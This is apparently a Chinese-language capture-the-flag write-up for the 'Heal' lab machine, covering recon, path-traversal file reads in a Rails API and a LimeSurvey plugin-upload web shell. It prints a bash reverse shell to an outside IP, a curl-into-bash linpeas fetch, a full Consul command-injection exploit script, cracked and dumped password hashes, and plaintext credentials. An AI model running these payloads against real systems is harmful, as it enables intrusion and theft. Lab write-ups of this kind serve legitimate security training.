Tags: Rails、LFI、SQLite、Hashcat、LimeSurvey、SSH_Proxy、Consul
Recon & Enum
nmap -p- --min-rate 1000 -T4 -sC -sV -O -v heal.htb
---
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
gobuster vhost --random-agent --append-domain -k -w subdomains.txt -u 'http://heal.htb/'
---
Found: api.heal.htb Status: 200 [Size: 12515]
gobuster dir -k --random-agent -w directories.txt -u 'http://heal.htb'
---
/favicon.ico (Status: 200) [Size: 34452]
/index.html (Status: 200) [Size: 1672]
gobuster dir -k --random-agent -w directories.txt -u 'http://api.heal.htb'
---
/download (Status: 401) [Size: 26]
/profile (Status: 401) [Size: 26]
/resume (Status: 401) [Size: 26]
Shell as www-data

发现 Rails 服务,版本 7.1.4,在官方的发布页面,发现了一些 CVE,例如 CVE-2024-54133,但是不太好利用。

主域名页面,是一个简历生成器,注册账号登录

登录进去后,可以填写个人信息,生成简历,先尝试走一遍流程,然后看看 BurpSuite 的请求记录

在点击导出 PDF 之后,出现了这个请求,在之前的目录扫描中也有看到,尝试读取本地文件

发现 OPTIONS 请求无法读取(没授权好像也对),所以就看一下导出过程中的几个请求,发现了 token

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash
那这里再尝试读取一下密钥或者 flag


大概是没权限,那么尝试读取一下 rails 服务的文件,首先找到 README 的位置


找到 Rails api 的目录架构,是有一个数据库的配置文件,尝试读取一下

是两个 SQLite 数据库,读取一下
curl 'http://api.heal.htb/download?filename=../../storage/test.sqlite3' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -o test.sqlite3
curl 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -o development.sqlite3

[email protected]
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
这个密码,只能登录 Web


发现了一个新的 VHost,是一个 LimeSurvey 服务,而且下面内容显示管理员正是 [email protected],Google 一下历史漏洞
这里利用安装插件,来上传 WebShell
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>pwned</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>pwned</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : pwned]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'");
?>
# 压缩到 zip
zip pwned.zip config.xml php-rev.php
# 登陆后访问此页面,点击插件安装,选择 zip 包
http://take-survey.heal.htb/index.php/admin/pluginmanager?sa=index
# 访问 WebShell
http://take-survey.heal.htb/upload/plugins/pwned/php-rev.php

Local Enum

找到 PgSQL 数据库的连接密码,这个密码可以登录 SSH

Shell as Ron
ron / AdmiDi0_pA$$w0rd
curl http://10.10.16.2/linpeas.sh | bash > /dev/tcp/10.10.16.2/443
Local Enum
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
ssh -L 127.0.0.1:8301:127.0.0.1:8301 -L 127.0.0.1:8300:127.0.0.1:8300 -L 127.0.0.1:8302:127.0.0.1:8302 -L 127.0.0.1:8500:127.0.0.1:8500 -L 127.0.0.1:8503:127.0.0.1:8503 -L 127.0.0.1:8600:127.0.0.1:8600 -L 127.0.0.1:3001:127.0.0.1:3001 -L 127.0.0.1:3000:127.0.0.1:3000 [email protected]
Shell as Root


8500 端口发现 consul 服务,查看进程发现也是 root 权限,Google CVE
发现了一个 consule rce 的 payload,尝试利用

成功执行,那么可以尝试获取 root shell

More and More
整体没什么大坑,任意文件读取数据库也属于正常操作,配合信息收集能力,总体来看用点时间都能拿下。
Dump Hash
root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19970:0:99999:7:::
ralph:$y$j9T$4Dy9HV2pcNjs/CJXRU9x11$Irhr1vraxuLfMbmhd1FmK5oq37WeIfwbMSTYu7Ud5U2:20066:0:99999:7:::
lxd:!:19970::::::
avahi:*:19993:0:99999:7:::
geoclue:*:19993:0:99999:7:::
postgres:*:19993:0:99999:7:::
_laurel:!:20065::::::
ron:$y$j9T$haKqSIafpebVZoB765rgf/$cC27DCE3e2WKdbe7Srsgy7CoFjTgtbwREp4olnJyKa3:20066:0:99999:7:::
Exploit
'''
- Author: @owalid
- Description: This script exploits a command injection vulnerability in Consul
'''
import requests
import argparse
import time
import random
import string
def get_random_string():
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(15))
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-th", "--target_host", help="Target Host (REQUIRED)", type=str, required=True)
parser.add_argument("-tp", "--target_port", help="Target Port (REQUIRED)", type=str, required=True)
parser.add_argument("-c", "--command", help="Command to execute (REQUIRED)", type=str, required=True)
parser.add_argument("-s", "--ssl", help="SSL", type=bool, required=False, default=False)
parser.add_argument("-ct", "--consul-token", help="Consul Token", type=str, required=False)
args = parser.parse_args()
protocol = "https" if args.ssl else "http"
url = f"{protocol}://{args.target_host}:{args.target_port}"
consul_token = args.consul_token
command = args.command
headers = {'X-Consul-Token': consul_token} if consul_token else {}
command_list = command.split(" ")
id = get_random_string()
data = {
'ID': id,
'Name': 'pwn',
'Address': '127.0.0.1',
'Port': 80,
"Check": {
"DeregisterCriticalServiceAfter": "90m",
"Args": command_list,
'Interval': '10s',
"Timeout": "86400s",
}
}
registerurl= f"{url}/v1/agent/service/register?replace-existing-checks=true"
r = requests.put(registerurl, json=data, headers=headers, verify=False)
if r.status_code != 200:
print(f"[-] Error creating check {id}")
print(r.text)
exit(1)
print(f"[+] Check {id} created successfully")
time.sleep(12)
desregisterurl = f"{url}/v1/agent/service/deregister/{id}"
r = requests.put(desregisterurl, headers=headers, verify=False)
if r.status_code != 200:
print(f"[-] Error deregistering check {id}")
print(r.text)
exit(1)
print(f"[+] Check {id} deregistered successfully")
Box Cleanup
#!/bin/bash
# Consul API endpoint
CONSUL_API="http://localhost:8500/v1"
# List of service IDs to keep (space-separated)
SERVICES_TO_KEEP="service-3000 service-3001 database"
# Get all registered services
services=$(/usr/bin/curl -s "${CONSUL_API}/agent/services" | jq -r 'keys[]')
# Loop through all services
for service in $services; do
# Check if the service should be kept
if [[ ! " ${SERVICES_TO_KEEP[@]} " =~ " ${service} " ]]; then
/usr/bin/echo "Deregistering service: $service"
/usr/bin/curl -X PUT "${CONSUL_API}/agent/service/deregister/${service}"
else
/usr/bin/echo "Keeping service: $service"
fi
done
#!/bin/bash
# List of ports to check
ports=(8500 8503 8300 8301 8302) # Add the ports you want to check
# IP address or hostname to check (change if needed)
host="127.0.0.1"
# Action to take if the port is closed
perform_action() {
local port=$1
echo "Port $port is closed. Performing action..."
rm /etc/consul.d/server_metadata.json
rm /var/lib/consul/server_metadata.json
/usr/bin/systemctl daemon-reload
/usr/bin/systemctl restart consul
}
# Loop through each port and check if it's open
for port in "${ports[@]}"; do
echo "Checking port $port..."
# Check if the port is open using nc (netcat) or use bash's /dev/tcp
nc -z -w5 $host $port
# If port is closed, nc will return non-zero exit code
if [ $? -ne 0 ]; then
perform_action $port
else
echo "Port $port is open."
fi
done
#!/bin/bash
# Database connection details
DB_NAME="survey"
DB_USER="postgres"
TABLE_NAME="lime_plugins"
CONDITION="id > 17"
# Execute the delete query
echo "Deleting rows from $TABLE_NAME where $CONDITION in $DB_NAME database..."
sudo -u postgres psql -d "$DB_NAME" -c "DELETE FROM $TABLE_NAME WHERE $CONDITION;"
if [ $? -eq 0 ]; then
echo "Rows successfully deleted."
else
echo "Failed to delete rows. Check your configuration and permissions."
fi
# delete the plugins inside the plugin directory
find /var/www/limesurvey/upload/plugins/ -mindepth 1 -type d -exec rm -r {} +
